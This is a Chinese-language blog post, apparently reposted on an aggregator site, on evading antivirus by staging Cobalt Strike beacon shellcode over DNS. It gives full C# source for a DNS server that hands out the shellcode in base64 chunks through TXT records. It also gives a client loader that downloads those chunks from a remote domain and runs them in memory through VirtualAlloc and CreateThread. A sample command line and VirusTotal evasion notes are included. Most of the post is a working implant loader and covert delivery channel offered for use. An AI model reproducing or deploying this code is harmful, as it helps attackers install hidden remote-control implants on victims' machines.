4

C#免杀之自实现DNS服务器传输shellcode

 4 years ago
source link: https://y4er.com/post/csharp-dns-server-shellcode/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

C#免杀之自实现DNS服务器传输shellcode

Share on:

相比于http协议,dns协议有着更好的隐蔽性。类比cs的dns beacon,我们可以自己实现一个dns服务器来传输shellcode。C#拥有一个优秀的第三方库ARSoft.Tools.Net。我们可以使用他来进行dns查询和自建dns服务器。

因为dns为递归查询,所以dns的数据最终会被我们的vps接收。而对比cs的dns传输,我们需要设计一个传输规范,规定哪部分为command,哪部分为data。

我所需要的只是一个传输隧道,而dns server只需要发送cs的bin数据包过来就可以。

设计一个流程图 image.png

image.png

新建一个.net4.0的控制台项目,安装ARSoft.Tools.Net,因为.net版本问题,我们需要安装低版本的ARSoft.Tools.Net。 image.png

image.png

实现一个dns server

using ARSoft.Tools.Net.Dns;
using System;
using System.IO;
using System.Linq;
using System.Net;

namespace SharpDNS
{
    class Program
    {
        static Byte[] bytes;
        static void Main(string[] args)
        {
            if (args.Length<1)
            {
                Console.WriteLine("SharpDNS.exe beacon.bin");
                return;
            }
            bytes = ReadBeacon(args[0]);

            using (DnsServer server = new DnsServer(IPAddress.Any, 10, 10, ProcessQuery))
            {
                server.Start();
                Console.WriteLine("Dns Server Start.");
                Console.ReadLine();
            }
        }

        static DnsMessageBase ProcessQuery(DnsMessageBase message, IPAddress clientAddress, System.Net.Sockets.ProtocolType protocol)
        {
            message.IsQuery = false;
            DnsMessage query = message as DnsMessage;

            string domain = query.Questions[0].Name;
            // length.dns.test.local
            // r.500.200.dns.test.local
            string[] sp = domain.Split('.');
            string command = sp[0];

            if (command.Equals("length"))
            {
                Console.WriteLine("Contains Length");

                query.AnswerRecords.Add(new TxtRecord(domain, 0, bytes.Length.ToString()));
                message.ReturnCode = ReturnCode.NoError;
                return message;
            }
            if (command.Equals("r"))
            {

                Console.WriteLine(domain);
                try
                {
                    int hasReceive = int.Parse(sp[1]);
                    int requireReceive = int.Parse(sp[2]);
                    Console.WriteLine("hasReceive length:{0},require reveive byte length:{1}", hasReceive, requireReceive);
                    Byte[] sendByte = bytes.Skip(hasReceive).Take(requireReceive).ToArray();
                    string sendString = Convert.ToBase64String(sendByte);
                    Console.WriteLine(sendString);
                    query.AnswerRecords.Add(new TxtRecord(domain, 0, sendString));
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
                message.ReturnCode = ReturnCode.NoError;
                return message;
            }
            message.ReturnCode = ReturnCode.Refused;
            return message;
        }
        static Byte[] ReadBeacon(string path)
        {
            Byte[] b = File.ReadAllBytes(path);
            Console.WriteLine("ReadBeacon File Length:{0}", b.Length);
            return b;
        }
    }
}
csharp

image.png

image.png

生成beancon.bin shellcode

使用nslookup可以看到成功处理了我们的dns请求。

image.png

image.png

wireshark抓到的包也成功返回了正确的beacon shellcode 长度。

然后在看下r.0.200.dns.test.local的数据

image.png

image.png

也正确接收到了base64的分片shellcode。接下来看client的代码。

using ARSoft.Tools.Net.Dns;
using System;
using System.Collections.Generic;
using System.Net;
using System.Runtime.InteropServices;

namespace DnsLoader
{
    class Program
    {
        static string dns;
        static void Main(string[] args)
        {
            string domain = args[0];
            dns = args[1];
            long len = QueryLength(domain);
            int requireReceive = int.Parse(args[2]);

            List<byte> bytes = new List<byte> { };
            for (int i = 0; i < len; i++)
            {
                int hasReceive = bytes.Count;
                if (hasReceive == len)
                {
                    Console.WriteLine("接收完毕");
                    break;
                }
                string rev = ClientQuery("r." + hasReceive.ToString() + "." + requireReceive.ToString() + "." + domain);
                if (rev.Equals(null))
                {
                    Console.WriteLine("dns 查询错误");
                    return;
                }
                byte[] b = Convert.FromBase64String(rev);
                bytes.AddRange(b);
                //Console.WriteLine(rev);
            }

            Console.WriteLine(bytes.Count);
            if (bytes.Count != 0)
            {
                inject(bytes.ToArray());
            }
        }

        public static long QueryLength(string domain)
        {
            long len = 0;
            string l = ClientQuery("length." + domain);
            bool success = Int64.TryParse(l, out len);
            if (success)
            {
                return len;
            }
            else
            {
                return 0;
            }
        }


        public static String ClientQuery(string domain)
        {
            List<IPAddress> dnss = new List<IPAddress> { };
            dnss.AddRange(Dns.GetHostAddresses(dns));
            var dnsClient = new DnsClient(dnss, 60);
            DnsMessage dnsMessage = dnsClient.Resolve(domain, RecordType.Txt);
            if ((dnsMessage == null) || ((dnsMessage.ReturnCode != ReturnCode.NoError) && (dnsMessage.ReturnCode != ReturnCode.NxDomain)))
            {
                Console.WriteLine("DNS request failed");
                return null;
            }
            else
            {
                foreach (DnsRecordBase dnsRecord in dnsMessage.AnswerRecords)
                {
                    TxtRecord txtRecord = dnsRecord as TxtRecord;
                    if (txtRecord != null)
                    {
                        return txtRecord.TextData.ToString();
                    }
                }
                return null;
            }
        }


        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        public static void inject(Byte[] buffer)
        {
            UInt32 MEM_COMMIT = 0x1000;
            UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            UInt32 funcAddr = VirtualAlloc(0x0000, (UInt32)buffer.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(buffer, 0x0000, (IntPtr)(funcAddr), buffer.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0x0000;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(0x0000, 0x0000, funcAddr, pinfo, 0x0000, ref threadId);
            WaitForSingleObject(hThread, 0xffffffff);
        }
    }
}
csharp

image.png

image.png

成功拿到beacon。 image.png

image.png

注意的是dns的txt解析一次不能传输太多,我测试的时候用的2000没什么问题。

DnsLoader.exe cdn.jdcdn.ga dns.jdcdn.ga 2000

dns的解析记录这么设置

image.png

image.png

vt查杀结果点我

image.png

image.png

  1. 通过别的协议是否更加隐蔽?
  2. 传输的只是shellcode,和分离免杀没区别,关键怎么绕过VirtualAlloc等api调用。
  3. 抠出来cs的功能一点点自己实现。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK